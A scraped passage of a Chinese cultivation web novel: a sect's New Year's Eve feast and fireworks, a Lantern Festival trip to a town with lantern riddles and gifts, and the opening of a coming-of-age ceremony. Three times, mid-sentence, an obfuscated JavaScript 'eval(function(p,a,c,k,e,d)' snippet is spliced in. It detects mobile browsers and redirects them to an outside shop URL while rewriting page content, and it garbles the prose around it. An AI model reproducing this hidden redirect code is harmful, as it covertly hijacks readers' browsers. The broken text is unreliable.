云怀清缓步走过来,手里捧着一个青瓷酒坛,唇角含笑:“来了来了。”他也换了一身墨青色的长衫,衬得眉目愈发温润,发间只簪了一支简单的木簪,整个人在灯火映照下显得清隽出尘。 “大师兄!”云朵欢呼一声,立刻拍开季来之的手,蹦到云怀清身边,“这酒是给我的吗?我闻到香味啦!” 云怀清把酒坛放在桌上,刮了下她的鼻尖:“小馋鬼,你这年龄可喝不得酒。喝酒可是成年人的特权。”他转头看向陆续走进来的外门弟子,含笑拱手,“诸位辛苦一年,今日都别拘着,敞开了吃,敞开了喝。” 外门弟子们纷纷行礼,有人腼腆地笑着应和,有人激动得声音都发颤:“多谢大师兄!多谢内门师兄师姐们!” 季来之已经迫不及待地拉过椅子坐下,一边给自己倒了杯茶,一边朝云朵挤眉弄眼:“师妹,快坐快坐,再不吃,这红烧肉可就被外门那群饿狼抢光啦!” 云朵白了他一眼,却还是笑嘻嘻地坐到他旁边,伸手夹了一块离自己最近的糖醋里脊,塞进嘴里:“嗯!食堂阿婆的手艺还是那么好!甜而不腻,外酥里嫩!” “那是自然。”季来之得意地扬起下巴,“阿婆最宠你了,每次都照着你的口味做。” 云怀清坐在主位,给自己面前的酒杯里斟满了酒,温声道:“今日团圆夜,过往的烦忧都暂且放下。来,先敬诸位一年辛劳。” 众人纷纷举杯,外门弟子们有些拘谨,小口啜饮着,可眼里的欢喜怎么也藏不住。云朵和季来之都没成年,只能以茶代酒。 季来之仰头一口干了杯中的茶,砸吧砸吧嘴:“哎!喝茶多没意思啊!大师兄,今天好歹是除夕,就不能破回例嘛!” 云怀清面上依然挂着温和的笑容,口气却不容置疑:“不行,你作为内门弟子,更要给大家做榜样。” 季来之撇撇嘴,转眼看见桌上摆着一碟梅花酥:“这梅花酥一看就是给云朵做的,我闻着味儿就知道了,让我先来尝尝。”他说着,不等云朵反应,就抢先拿了一块,塞进嘴里,“嗯,果然甜!” 云朵按住了突突跳动的额头:“……算了大过年的,我就不跟你计较了。”说罢,她也拿了一块放进嘴里,“好吃!” 云怀清看着这一幕,眼中含笑,举杯道:“今日除夕,不论内门外门,都是一家人。愿新的一年,诸位平安顺遂,修为更进一层!” “干杯!”众人齐声应和,杯盏碰撞,清脆的声响在焦香轩内回荡。 云朵一边吃着点心,一边偷偷瞄着身旁的外门弟子。有几个年纪小的,明显有些拘束,只小口小口地吃着菜,连头都不敢抬太高。她想了想,夹了一块最大的红烧肉,放到一个小弟子碗里:“你吃啊,别光看着,再不吃可就被季来之抢光啦!” 那小弟子一愣,抬头看到云朵灿烂的笑脸,顿时红了脸,结结巴巴地道谢:“谢、谢谢云朵师姐……” 季来之在一旁哼了一声:“师妹,你可别偏心,我这还饿着呢!”说着,又去抢云朵面前的排骨。 云朵护住碗,瞪他:“就不给!你自己没手没脚啊!” 云怀清看着他们打打闹闹,嘴角的笑意更深,举杯向外门弟子们示意:“来,多吃点,别客气。浮云宗本就是你们的家,不必拘束,开心就好。” 外门弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062164|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子们眼眶微热,纷纷点头,一时间,喧闹声、谈笑声、碗筷碰撞声交织在一起,热热闹闹地填满了整个焦香轩。 饭后,众人收拾了碗筷,三三两两地聚在空地上闲聊。云朵抱着胳膊靠在摔云坪场边的廊柱上,仰头望着已完全暗下来的天空,忽然捅了捅身旁季来之的胳膊:“三师兄,你去年除夕放的那个烟花……还记得不?” 季来之正啃着一块芝麻糖,闻言差点噎住,瞪圆了眼睛:“你咋突然提那事儿?” “就问问嘛,”云朵眨了眨眼,一副人畜无害的模样,“听说今年外头有人卖新出的烟花,比往年那些还好看。” “哈!”季来之一拍大腿,笑得眼睛都眯了起来,“我就知道你没安好心!去年那烟花可是我费了老大劲儿,御剑去一百多里外的城镇淘来的,结果你倒好,我放的时候躲得比谁都远,还说我吓着你了!” “我才没有!”云朵立刻反驳,脸颊微微鼓起,“我只是……只是没准备好!那烟花‘咻’地一下就窜上天,‘嘭’地炸开,亮得我眼睛都睁不开!” “哟,那今年你还敢不敢看?”季来之故意拖长了尾音,挑眉看她。 云朵抿了抿唇,偷偷瞥了一眼站在不远处与弟子们说笑的大师兄,小声嘟囔:“……其实也不是不敢,就是有点怕。” “嘁,胆小鬼。”季来之嗤笑一声,却站起身来,拍了拍衣袍上的碎屑,“行吧,既然你提了,那今年咱再放一次!保管比去年的还响!” “你哪儿来的烟花?”云朵狐疑地问。 “你三师兄我自有门路。”季来之神秘一笑。 说话间,云怀清已结束了谈话,摇着折扇向他们走来。他的目光在季来之和云朵之间转了一圈,唇角微微扬起。 “来之,”他忽然开口,声音温和却不失威严,“烟花虽好,安全第一。” 季来之立刻挺直了腰板,一本正经地点头:“大师兄放心!我保证,这次绝对安全!最多……就是稍微响一点儿,亮一点儿!” 云怀清失笑,摇了摇头,没再说什么。 这时,一只青色的纸鸟“嗖”的一声飞了过来,落在了云朵的肩头。云朵好奇地拿起纸鸟,展开纸条,只见上面写着: “大师兄、来之、云朵以及宗门的大家,除夕快乐!虽不能与你们一同守岁,但心与你们同在。愿新的一年,你们平安喜乐,修行顺遂。——夏南烛” 云朵看完,脸上露出了灿烂的笑容,说道:“是二师兄的祝福!二师兄祝我们除夕快乐呢!” 云怀清和季来之也凑过来看,云怀清说道:“南烛虽然人没在,但心意到了,也算跟我们一起过年了。” 季来之不知何时已经钻到了院子中央,手里捧着一个鼓鼓囊囊的布包,正冲着众人神秘兮兮地笑:“诸位,今儿是除夕,咱们浮云宗也来点儿不一样的!待会儿你们可别眨眼,不然错过了就要再等一年喽!” “三师兄又要搞什么名堂?”有人小声嘀咕。 “管他呢,反正肯定热闹!”另一个弟子笑着应和。 云朵站在人群里,抬头望向天空,墨色的夜幕像一块巨大的绸缎,静静地铺展在头顶,仿佛正等着什么惊喜降临。 季来之终于打开了那个布包,从里面小心翼翼地取出一支支细长的筒状物,还有几枚圆滚滚的小球。他一边摆弄,一边冲云朵挤眼睛:“师妹,站远点儿啊,别待会儿溅你一身火星子。” 云朵翻了个白眼,却还是乖乖往后退了两步。 季来之点燃了第一支烟花筒,只听“嗖”的一声,一道亮光直冲云霄,在夜空中炸开,化作一朵绚丽的金莲,花瓣层层绽放,金光流转,照亮了整个院子。弟子们发出一阵惊叹,有人忍不住拍手叫好。 季来之得意一笑,又点燃了第二支。 紧接着,夜空中接连炸开各种颜色的光芒,像流星,像繁花,像银河倾泻。云朵仰着头,眼睛一眨不眨地盯着,嘴角不自觉地上扬。她看见大师兄站在人群外围,唇角含笑,手中折扇轻轻摇动;而季来之,则站在烟花中央,手里一根接一根地点着,脸上满是孩子气的兴奋。 “云朵!”季来之忽然朝她喊,“看那边!” 云朵转头,只见一支烟花冲天而起,炸开后化作无数银白色的光点,如雨般纷纷扬扬地落下,仿佛一场璀璨的星雨。 她下意识地伸手去接,却只触到一片凉凉的夜风。 “好看吗?”季来之的声音从身后传来。 云朵点点头,眼睛里映着漫天的光华:“好看。” 云怀清也穿过叽叽喳喳的弟子们,来到他们身边。三人并肩望着夜空,烟花的光芒映在他们的脸上,忽明忽暗。 云朵忽然觉得,这修仙的日子也没有那么无聊了。 至少今夜这场绚烂的烟火,足够她记很多年。 如果这是现实,她希望时光永远停留在这烟火璀璨的团圆夜。 如果这是一场梦,她希望永远不要醒来。 5. 当时明月在(5) 夏南烛是上元节当天薄暮时分回到浮云宗的。 与其他三个内门弟子不同,他虽拜入仙门,但因家人依然在世,每年春节他都是在家过的。浮云宗向来以“道似云无迹,心随性自然”为宗旨,不甚看重修行,只求随心所欲,对门下弟子的要求并不严。若夏南烛想趁着春节在家多待一段时日,也是可以的。 但他还是在上元节这天辞别的家人,御剑赶回了浮云宗。 夏南烛刚踏入宗门,就见迎面走过来几个有说有笑的外门弟子,每个人怀里都抱着一个莲花灯。弟子们见到他,连忙行礼:“二师兄!” 夏南烛朝他们颔首:“你们是要下山去放花灯?” 为首的弟子挠挠头,道:“是,我们打算去山下的河里放花灯。” 另一个弟子附和道:“是呀,要是咱们宗门附近有城镇就好了,上元节镇上一般都会有集市,肯定很热闹!可惜离咱们最近的镇子都要一百多里,像我们这种不会御剑的弟子没法去凑热闹...” 夏南烛思索片刻,道:“确实如此,你们若愿意,也可以在宗门内办个小型集市。” 几个弟子眼睛瞬间亮了起来:“真的吗!不过今年时间有点赶了,明年吧!明年我们可以跟其他弟子商量一下,提前准备,让大家不出宗门也能热热闹闹地过节!” 说完这事,夏南烛又跟他们寒暄了几句,便道别后各自朝着目的地出发。 一进歇云处的门,夏南烛就听到头上传来一道带着笑意的声音:“大师兄,云朵,你们输了!” 夏南烛循声看去,只见一抹鲜红高踞枝头。季来之斜倚着树干,红衣烈烈如焰,高束的马尾随风荡起一道利落的弧线。他垂眸俯视,唇角带笑:”我就说二师兄今天肯定要回宗门的,这不,还好我劝他俩把你那份的元宵也煮出来了。“ 夏南烛正要说话,却见云朵从厨房探头出来,看到他之后立马笑开了:“二师兄回来啦!元宵已经快煮好了。” “哎!不要无视我呀!”季来之双手一撑,从树上跳了下来,“我可是赌赢了,今天多出来的元宵都归我了!” 云朵撇了撇嘴:“吃不死你!”随后又缩回了厨房。 夏南烛问季来之:“你怎么没有去帮忙?” 季来之:“师兄,你是了解我的,我这么怕热的一个人,厨房这地界实在是不适合我。再说了,不是说君子远庖厨嘛……” 夏南烛眯眼:“哦?你的意思是大师兄非君子?” 季来之把头摇得像拨浪鼓,连连否认:“没有没有没有!绝对没有!大师兄那必须是君子,君子中的君子!” “既然对我评价这么高,那能不能请季小君子搭把手,帮君子中的君子端碗元宵出来?”一道清越的声音响起,二人扭头,见云清怀捧着一碗元宵从厨房走出来,后面还跟着云朵,也捧着一个装满元宵的小碗。 “来了来了!剩下的两碗都交给我!”季来之一阵风似的冲进了厨房,端了两碗元宵出来,一碗摆在夏南烛面前,另一碗放在了最后一个空位上。 白瓷碗里盛着刚出锅的元宵,滚圆莹白的小团子们,在袅袅热气里轻轻晃悠。表皮被沸水焐得透亮,隐约能瞧见深褐色的馅料。用勺子轻轻碰一下,软乎乎的还会微微回弹。 四人都落座后,夏南烛用勺子舀了一个元宵,吹凉一些,送进嘴里。一口咬下去,软皮裹着流心甜馅在唇齿化开,米香混着暖意,从舌尖暖到心口。 云怀清问:“味道如何?” 夏南烛咽下元宵,回道:“很好。” 云怀清笑道:“连内门大厨都说好,那就是真的好了。” 云朵被口中的元宵烫得哈气,含含糊糊道:“好耶!以后我萌揍有两个大厨啦!” 季来之没言语,一边吃,目光一边在剩下三人之间飘来飘去。 夏南烛吃完了,放下碗筷,问道:“来之,你又在想什么了?” 季来之的小动作被发现,也没觉得尴尬,嘿嘿一笑,道:“我在想,我们待会要不要去栖霞镇逛逛?这种大节日,镇子里面肯定有活动的吧?咱们御剑过去不到半个时辰就能到了,不去凑凑热闹吗!这热闹错过了可就得再等一年了!“ 云朵听完,脑海中已经浮现出千灯竞放,金焰煌煌的场景了,便眼巴巴地瞅着云怀清和夏南烛:“大师兄,二师兄,我们一起去吧!” 云怀清道:“好呀,我们也可以买些礼物回来,分给其他弟子。” 夏南烛:“嗯。” 云朵脸上还维持着镇定,内心早已经开心得手舞足蹈,心里已经盘算着待会到了栖霞镇要买些什么小吃了。 收拾好碗筷,四人在院中集合。 云怀清从袖中掏出一张符纸,道:“现在镇上的集市应该已经开始热闹了,再去晚了,恐怕连猜灯谜的摊位都挤不进去。我之前画过传送符,这次正好可以派上用场了。” 云朵本来还担心自己御剑不稳,半路上跌下来出丑,听完云怀清的话,惊喜道:“不愧是大师兄!这也太贴心了!” 季来之道:“大师兄,你要不多画几张?这样我出去除妖的时候能省好多事儿呢!” 云怀清:“传送符在画的时候就需要确定好目的地,你出任务的目的不固定,我如何提前给你准备好传送符?” “哦……”季来之蔫下去了。 夏南烛:“外出历练,本意在磨炼自身,赶路也是修行的一部分,不可偷懒。” “好吧……”这下蔫得头都耷拉下去了。 云朵拽了拽云怀清的袖子:“大师兄,天色不早了,咱们赶紧过去吧!” 云怀清点点头,不再多言。他左手持符,右手双指并剑,将灵力注入传送符。 符纸霎时亮起银蓝符纹,光丝游走,宛若细小雷霆。下一瞬,符光暴涨,化作一道旋转的八角法阵,将他们四人的身影。 眨眼之间,脚底已由坚实青石转为柔软草坡,城镇灯火已在远处山脚铺开。四人衣袂微扬,仍保持传送前那一瞬的站姿,仿佛只是向前迈了半步,却已是百里之外。 “为了不惊动镇中百姓,我将目的地定在了这座山上。”云怀清率先迈出脚步,“走吧,看上去灯会已经开始了。” 话音刚落,一红一粉两道身影就像小鸟一样朝山脚的城镇飞去。 夏南烛沉默了两秒,感叹:“年轻真好。” ----------------- 栖霞镇口早已张灯结彩,一排排红彤彤的灯笼沿街悬挂,灯罩上绘着各色花鸟祥瑞,烛光透过薄纸晕染开来,将石板路映得暖融融的。街巷间人声鼎沸,往来行人络绎不绝,有提着莲花灯的孩童嬉笑着跑过,有身着盛装的年轻男女并肩而行,亦有白发苍苍的老者驻足于灯谜摊前,捻须沉吟。 穿镇而过的小河两岸,早有各家各户放下了精心糊制的花灯,点点灯火顺水漂流,恍若星河坠入人间。河岸两边搭起了简易的灯市摊位,吆喝声此起彼伏,混着远处飘来的丝竹乐声,热闹非凡。 云朵一落地,就蹦蹦跳跳地朝灯火最盛处跑去,衣袖翻飞,像只粉色的蝴蝶。她回头招呼道:“大师兄二师兄三师兄快点呀——前面肯定有卖糖人的!“ 季来之早已窜到她身旁,闻言挑眉:“师妹,你刚吃过豆沙馅的元宵,又要买糖人,不怕吃坏了牙?“ 云朵回嘴道:“今天是节日啊,多吃点甜食怎么了,我又不是天天这么吃!再说了,你不想吃,干嘛也往这边跑?跟在大师兄二师兄旁边慢慢走不好吗?” 季来之捂住胸口:“这里这么多人,我这是怕你走丢啊!你竟然把我的好心当成驴肝肺,我好伤心。” 云朵:“我怎么记得最爱迷路的是你呀?哦~怪不得你要跟着我,怕是你自己一个人逛着逛着就要找不到路了吧!“ 季来之怒道:“哎去去去!吃你的糖人去!” 云怀清负手跟在后面,看着两个打打闹闹的身影,无奈摇头:“莫要跑得太急,专心看路,当心绊着。” 夏南烛则安静地落在最后,目光扫过街边琳琅满目的摊位,时不时驻足观察那些新奇的玩意儿。 云朵跑过一个街角,眼前豁然开朗。数十个摊位沿河排开,将整条街道映照得如同白昼。最前方赫然是个糖人摊子,摊主老汉手持铜勺,正用琥珀色的糖浆勾勒出一只展翅的仙鹤。 “爷爷,能不能给我画一只蝴蝶呀?我想要那种正在飞来飞去的蝴蝶!”云朵跑到糖人摊位前,指着铜勺,眼睛亮亮的。 季来之却抢先一步掏出碎银:“老丈,来四个——“他回头瞥了眼夏南烛,“二师兄也尝尝?” 夏南烛微微颔首,目光却被旁边一个卖绢花的摊子吸引。淡粉色的海棠、鹅黄色的迎春在灯下显得格外娇艳,他不由自主地停下脚步。 “三师兄,快看!”云朵举着刚做好的蝴蝶转了个圈,糖做的翅膀在月光下折射出晶莹的光泽,“像不像真的要飞起来?“ 季来之正忙着给三人分发糖人,闻言抬头:“像只扑棱蛾子。”话音未落就被云朵赏了一掌。 云怀清站在稍远处的花灯摊前,指尖拂过一盏圆滚滚的兔子灯。摊主是个慈眉善目的老婆婆,见状笑道:“这位公子好眼光,这灯最适合...” “大师兄!“云朵突然窜过来拽他袖子,指着远处,满脸兴奋,“那边在猜灯谜!“ 灯谜区围满了人,一盏盏六角宫灯下悬着红纸条。季来之挤到最前面,指着一条灯谜大声念道:“''不植而能生,无根却久停,晴时铺碧汉,阴处隐身形''——打一物!“ “云彩!”云朵抢先答道。摊主捋须大笑:“小姑娘好聪慧!”说着递过一包桂花糖作为奖品,随后念出第二个灯谜,“‘十张口,一颗心,不用水来洗得清’——打一字!” “十,口,心……”云朵短暂地沉思了一会儿,一拍脑门,道,“这不是‘思’嘛!“ “没错,又是这位小姑娘答对了!” 云朵一连答对了五六道灯谜,怀里的奖品已经多得快放不下了。 摊主笑道:“哎哟,小姑娘,你这个架势,今晚是要把我这个摊位的奖品包圆啊!”说罢,又递给她一个鲤鱼灯。 云朵收了灯,连连向摊主道谢。她掂量了一下自己怀里还能放下几个奖品,决定去找师兄们分担一下。 云怀清恰好就站在不远处,手里拎着一盏兔子灯,兔子圆滚滚的肚子里透出淡黄的烛光。他见云朵捧着一大堆东西,不禁失笑:“你今晚替宗门进了不少货。” 云朵:“大师兄若是能帮我拿点,我还能进更多!” 云怀清:“好,都给我吧。”说着,他从云朵怀里将得来的奖品一一取走,放入袖中。那袖中仿佛另有乾坤,东西放进去,也只是让袖口微微一荡,不见鼓胀,不见沉坠。 云朵叹道:“大师兄,你这符真好使,哪天也给我袖子里画一个吧?” 云怀清放完了东西,拢了拢袖口,道:“等你的修为突破金丹,能下山历练了,我就给你画一个。” 云朵:“唉,金丹,又是金丹。” 云怀清摸了摸她的头,道:“朵朵这么厉害,肯定没问题的。” 夏南烛则慢悠悠地走到一个卖香囊的摊位前,摊主是个年轻姑娘,见他驻足,便笑着介绍:“公子,我这香囊都是亲手缝的,里头放了安神的草药,戴着能助眠呢。” 夏南烛拿起一个绣着云纹的青色香囊,指尖轻轻摩挲了一下针脚,点头道:“不错。” 二人沿着灯火通明的街道继续往前走,远远便看见季来之和夏南烛站在一个卖短刀的摊位前。 摊主是个满脸络腮胡的壮汉,正拍着一把精钢匕首吆喝:“正宗昆仑寒铁,削铁如泥!“ “这刀...”季来之刚要伸手,被夏南烛一把按住肩膀:“来之,宗门禁制私自...“ “我就是看看!“季来之撇嘴挣脱,扭头看见云朵和云怀清走过来,问道,“咦,你心心念念的灯谜已经猜完了?” 云朵双手叉腰,骄傲地挺起胸膛:“那是,我再猜下去,摊主怕是要破产了!” 季来之:“看不出来,你的脑子在这方面还挺好使的?” 云朵怒道:“什么意思你!你是不是又皮痒了!” “街上人多,不要随意打闹。”夏南烛及时出声制止道。 云朵这才注意到,夏南烛手上拎着四个精致的花灯,烛光透过薄纸,映得他眉眼温柔。 “二师兄!“云朵眼睛一亮,立刻从季来之身边蹦跶过来,“这是给我的吗?”她伸手就要去接。 夏南烛将花灯递到她面前:“嗯,正好路过,就挑了几个。” 云朵接过花灯,捧在手里:“太好啦!我们可以去河边放花灯了!“ 季来之也凑过来,领走了一盏:“谢谢二师兄。“ 云怀清走上前,从夏南烛手中接过剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062165|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下的花灯,和他并排走在后面。 河面漂着不少花灯,点点灯火在水面上投下摇曳的光影,宛如流动的星河。 云朵站在河岸边,看着天上的繁星和河面上的花灯,不由得发出感叹:“好漂亮啊!” 云怀清站在她身旁,将手中的花灯轻轻放在河面上:“小心些,别让灯芯沾到水。” 夏南烛和季来之也各自选了个位置放下花灯。季来之特意挑了个水流较缓的角落,小心翼翼地将灯放在水面上:“我的灯漂得最远!“ 云朵瞥了他一眼:“季来之你幼不幼稚!灯都是随着河水飘,有什么远不远的。” 点点灯光映在河面上,随着水波轻轻摇曳。 云怀清站在一旁,看着两个活泼的小辈打闹,嘴角挂着温和的笑意。他将自己的花灯轻轻放入水中,盯着远去的灯光,缓缓道:“按照传统,上元节放花灯,可以祈福许愿。” “那大师兄许了什么愿?”云朵好奇地凑过来。 云怀清微微一愣,随即温和地笑了笑:“愿望说出来可就不灵了。” 四人站在河岸边,看着花灯在水面上缓缓漂流,烛光映照在每个人的脸上,温暖而宁静。远处,更多的花灯在水面上漂浮,点点星光与灯火交相辉映,载着人们的心愿,向着远方缓缓而去。 放完花灯,夜已经深了。 虽然街市上依旧人潮如织,但作为修仙之人,贪恋红尘是大忌,上元节的热闹终究属于凡间。 四人沿着青石板路向镇外走去。夜色渐深,镇上居民多聚集在河边,因此街巷中反倒冷清。 不知谁家孩童蹦蹦跳跳地路过巷口,嘴里还唱着歌谣: 槐树下,石桌凉, 四时花开茶不凉。 昨夜星子贴银瓦, 四人并肩数月牙。 忽一阵风翻旧页, 檐下烛影各天涯。 云朵摸了摸胳膊上的鸡皮疙瘩:“这童谣怎么听着怪怪的?这种时日唱,不太吉利吧?” 季来之一脸无所谓地道:“小孩子嘛,估计也不懂自己在唱啥,正巧这首就在嘴边上,就唱出来了。” “倒也是。”云朵定了定神,又总觉得心里不舒服。 季来之见她脸色不好,把脸凑到她跟前,狡黠一笑:“这样吧,我出个灯谜,你来猜。你要是猜对了,我就送你和师兄们每人一个礼物。要是没猜对嘛……哼哼,那我就只好独吞了!” 云朵道:“好狡猾啊你!我若是答错了,岂不是要害得大师兄和二师兄也拿不到礼物?” 季来之:“没错,所以你想好了再回答啊!请听题,‘身居碧波底,白衣裹冰心,若得匠人琢,流光映古今’,打一物品。” 云朵听完,愣了半晌,随后眉头拧成了个浅浅的“川”字。思索半天,依然不得要领,便向云怀清和夏南烛投去求助的眼神。 季来之用手挡在她眼前:“禁止场外援助。” 云朵顿时泄了气,开始抓耳挠腮地靠自己琢磨:“碧波,就是说这东西是长在水里的,白色,至少表面是白色的。而且经过工匠雕琢,会更变得更加华贵。难道说……是珍珠?” “哎哟,我现在相信你之前说的,差点把人家灯谜的摊子赢破产了。”季来之摊开手掌,里面躺着三个颜色各异的剑穗,每个剑穗上还缀着一串小珍珠。莹白的珠子泛着珠光,角度变换,珍珠边缘还能看到金属般的光泽。 “这个青色的是大师兄的,白色的是二师兄的,粉色的——当然就是师妹的啦。” 三人接过剑穗。 云怀清道:“多谢来之,有心了。” 云朵拿剑穗在剑柄处比划了一下,道:“还挺合适的!谢谢!但是你哪里来的这么多珍珠呀?靠咱们宗门发的月供能买得起吗?” 季来之:“那必须是不够,我这可都是万里挑一的上好珍珠!你看这珠光,你看这圆度,随便拿一颗拿去拍卖,都会被哄抢的。” 云朵狐疑道:“你这珍珠,来路正吧?” 季来之忍无可忍,给了她个爆栗:“正的正的!都是我家祖传的!!” 在她俩闹腾的时候,夏南烛已经将剑穗拴在了剑柄上,又从怀中掏出了三个青绿色的香囊:“这是我刚才在集市上买的,里面装了我自己配的草药。携带此药包,可驱邪祛病,亦可防止毒气侵身。” 云怀清见状,也从袖中取出三张叠起来的纸,递给他们:“本来想这回到宗门再给你们。这是我自己画的护身符,一张符可抵一次致命伤。你们今后外出游历时带着,我也能放心些。” 云朵接过符纸,展开,只见上面用几种不同的颜料画着繁复的符文。越靠近中央,笔画越密集,最中间的几笔更是红得仿佛能滴出血来。 季来之兴奋道:“哇,这个好!大师兄这是把压箱底的宝贝都送我们了呀?” 夏南烛用手指摩挲了几下符纸上的纹路,叠起来收进怀里,道:“多谢师兄,这些符一定花了不少心血。” 云怀清:“也还好,只是以我的修为,不太能一口气画完。” 云朵一连收了三个礼物,还一个比一个贵重,反倒不好意思掏出自己准备的礼物了。 季来之蹭过来,揶揄道:“哎呀,不会有人没有准备礼物吧?不会吧不会吧?” 云朵反驳:“我当然准备了!只不过没有你们的这么高级……”越说到后面,她的声音就越小。 云怀清笑道:“礼物哪有高级低级之分?我们朵朵送的肯定都是最好的。” 云朵磨磨蹭蹭地从腰间的储物袋中掏出了她准备的礼物,摊开掌心,上面趴着三只黏土捏成的小兔子。 季来之从她掌中拿走一个,仔细端详,道:“看不出来,你手还挺巧的啊!” 云朵横了他一眼:“那你看不出来的事可还多着呢!” 云怀清:“朵朵亲手做的,怎么会比不上我们的礼物呢?” 夏南烛附和点头。 云朵喜笑颜开:“嘿嘿,你们喜欢就好!那你们要把我送的小兔子摆在你们的床头,保佑你们每晚都有美梦!” 季来之:“哟,那要是哪天晚上没做上美梦,能找你算账不?” 云朵反唇相讥:“那一定是你白天把小兔子气到了,你全责!” 四人一路笑闹着,回到了来时的山上。不久,只见山上亮起一簇银蓝色的光,片刻后归于平静,仿佛那里从来没有人来过。 6. 当时明月在(6) 上元节后,就是云朵的生辰。 这是她来到浮云宗后的第五个生辰,也是她最期待的生辰。浮云宗的弟子,都会在成年时获得自己的字。像大师兄名云岫,字怀清;二师兄名夏深,字南烛;三师兄名季澜,字来之。而她之前只有名字,没有字。 虽然云朵也很喜欢自己的名字,但还是觉得有了字之后,就会有什么东西变得不一样了。至少能证明,她是个大人了。 即将变成大人的云朵非常兴奋,兴奋得一宿没睡好。所以今天她难得起了个大早,收拾完打开窗时,天还没完全亮,院子里静悄悄的。 云朵推门出屋,见石桌上放着一个字条,字体清隽,是云怀清的笔迹。 “巳时到聚散堂来,为你举行及笄礼。“ 现在还未到辰时,大师兄竟是已经去主殿准备她的及笄礼了。 云朵又看了几遍那行字,把纸条收进了储物袋,转身出了院门。 她本想去聚散堂看看有没有什么能帮上忙的地方,但转念一想,今天的及笄礼本就是为她办的,大师兄怎么可能让她帮忙?就算她过去,也会被他笑吟吟地赶出来。 思及此,云朵调转了个方向,朝摔云坪去了。 云朵练了一套剑法,收剑入鞘,抬头看了看天色,估摸过去了半个时辰。 是时候回去准备一下了。 回到歇云处时,季来之正坐在石桌上啃果子。见她回来了,一指厨房,道:“里面给你烧好了水,你赶紧把你这身臭汗洗洗吧,要不然待会及笄的时候把大家都熏跑了。” 云朵给了他一眼刀:“你是不是生怕我对你表示感谢,所以干点好事还得顺道来损我一顿?” “哎呀,不用谢不用谢,小事一桩!”季来之啃完了果子,从石桌上跳下来,“你赶紧去收拾吧,师兄们让我等你一起去主殿呢。” “好好好,我这就去。”云朵说完,一溜烟跑进了厨房,把烧好的水倒进木桶里,搬回了屋。 待她再出屋时,已换了一身素白的及笄礼服,衣袂飘飘,发髻高挽。 季来之倚在院门边,双手环胸,上下打量她一番,嘴角噙着笑意:“啧,没想到我们小师妹打扮起来还挺像那么回事。” 云朵白了他一眼,没好气道:“三师兄,今天好歹是我生辰,你就不能说点好听的?” “好听的?”季来之挑眉,踱步过来,围着她转了一圈,“行,那我说——我们云朵师妹,今日这一身,当真是清水出芙蓉,天然去雕饰,比那些名门闺秀也不遑多让。” 云朵被他这矫揉造作的辞藻激了一身鸡皮疙瘩,伸手轻推了他一把:“少贫嘴,再胡说八道,我可就要把你之前偷偷溜出去喝酒的事告诉二师兄了。” “得嘞得嘞,我闭嘴。”季来之举手投降,“你收拾好了吧?时辰也快到了,咱们赶紧出发。” 浮云宗的主殿,名为聚散堂,取“浮云聚散”之意,又暗合了其作为议事主殿,总有人来来去去的现实。 两人一路有说有笑地走到了聚散堂。远远便见殿前已布置得庄重而温馨,红绸铺地,灯笼高悬,云怀清与夏南烛早已候在那里。 云朵快步上前,见大师兄今日一袭墨蓝长袍,眉目温润如玉,而二师兄则穿着他常穿的月白长衫,手中捧着一个精致的托盘,上面放着及笄礼所需的发簪与巾帼。 “朵朵,来了。”云怀清含笑看着她,目光温柔,“准备好了吗?” 云朵深吸一口气,重重地点头:“准备好了!” 夏南烛将托盘递上,轻声道:“这是为你准备的发簪,虽不名贵,却是我和师兄亲手打磨,愿它佑你此后的岁月,平安顺遂。” 云朵接过托盘,指尖微微颤抖,心中涌起一股暖流。她抬头看向云怀清和夏南烛,认真道:“谢谢师兄。” 季来之在旁边看得直撇嘴:“真好呀,我当初怎么就没人给我准备什么贴心小礼物呢。” “你?”云朵挑眉,“你还需要什么礼物?你那一身红衣,不就是最好的装饰吗?” “嘿!”季来之佯怒,“小丫头,我今天心情好才不跟你计较!” 云怀清轻咳一声,抬手示意:“行了,吉时已到,莫要耽误了正事。” 众人这才收敛了笑闹,步入主殿。 殿顶垂下两层红纱幔,纱幔随风轻晃。靠近殿门的地方铺着一块方形软垫,垫子四周散着新鲜的海棠花瓣,粉白色,带着晨露。 众人依次入座,云朵跪在软垫上,略微有些紧张。 云怀清走到她身侧,语气庄重而温和:“云朵,今日是你及笄之日,从此往后,你便是大人了。修行之路漫长,望你不忘初心,坚守本心,无论前路如何,浮云宗永远是你的家。” 云朵眼眶微热,重重地点头:“云朵谨记大师兄教诲。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062166|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 随后,夏南烛拿起木梳,象征性地为云朵梳理长发,而后将她的发髻重新盘起。云怀清则取出一支青玉簪,轻轻插入她的发髻之中。 